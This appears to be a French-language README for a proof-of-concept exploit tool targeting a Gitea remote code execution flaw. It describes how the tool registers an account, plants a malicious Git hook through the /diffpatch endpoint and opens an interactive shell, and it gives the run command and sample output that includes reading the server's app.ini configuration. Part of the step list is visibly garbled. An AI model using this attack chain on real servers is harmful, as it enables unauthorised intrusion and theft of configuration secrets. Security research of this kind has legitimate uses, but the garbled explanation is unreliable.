
CVE-2026-60004 — Gitea <= 1.27.0 Pre-Auth RCE
Ceci est un exploit de preuve de concept pour CVE-2026-60004, une vulnérabilité critique d'exécution de code à distance dans les versions 1.17 à 1.27.0 de Gitea. Le script automatise toute la chaîne d'exploitation, de l'enregistrement d'un utilisateur jusqu'à l'établissement d'un shell interactif stable sur le serveur cible.
La vulnérabilité se trouve dans le point de terminaison API /diffpatch. En envoyant deux fois un patch malveillant, une collision add/add déclenche un repli de fusion à trois voies qui ignore le drapeau --cached et écrit un hook Git exécutable directement dans le GIT_DIR du dépôt nu. Lorsque Git met à jour l'index, il exécute automatiquement ce hook, permettant l'exécution arbitraire de commandes avec le compte de service Gitea.
Étant donné que Gitea est un binaire Go compilé sans interpréteur PHP intégré, déposer un webshell traditionnel échoue souvent s'il n'y a pas de serveur web secondaire configuré pour l'exécuter. Pour résoudre ce problème et garantir une stabilité totale de l'exploit, ce script utilise une approche pilotée par l'API :
post-index-change via la collision diffpatch.cmd.sh), l'exécute avec le compte de service, et écrit la sortie dans un blob Git (proof).Cela crée un shell interactif pleinement fonctionnel directement via l'API Gitea, sans nécessiter de serveur web externe ni d'interpréteur secondaire.
python3 poc.py https://target.com
Une fois exécuté, le script enregistrera automatiquement un compte, installera le hook malveillant et vous plongera dans un shell interactif :
---------------------------------------------------
CVE-2026-60004 -- Gitea <= 1.27.0 Pre-Auth RCE
Fully Interactive API Shell
---------------------------------------------------
[*] Fetching CSRF token from signup page...
[+] CSRF token acquired.
[*] Registering user: poc5wp6tp
[+] Authenticated as poc5wp6tp
[*] Creating repository: poc-ozirkq
[+] Repository created.
[*] Fetching main branch SHA...
[*] Planting malicious hook via add/add collision...
[+] Hook planted and triggered.
[*] Verifying RCE...
[+] RCE VERIFIED! Shell is ready.
uid=1000(git) gid=1000(git) groups=1000(git)
==================================================
Gitea API-driven Interactive Shell
Type 'exit' to quit
==================================================
gitea-rce$ whoami
git
gitea-rce$ ls -la /data/gitea/repositories
...
gitea-rce$ cat /data/gitea/conf/app.ini
...
Cet outil est destiné à des fins éducatives et à des tests de sécurité autorisés, tels que les CTF, uniquement. Assurez-vous d'avoir l'autorisation explicite de tester le système cible. L'auteur n'est pas responsable de tout usage abusif ou dommage causé par cet outil.
Chirag Artani - https://3rag.com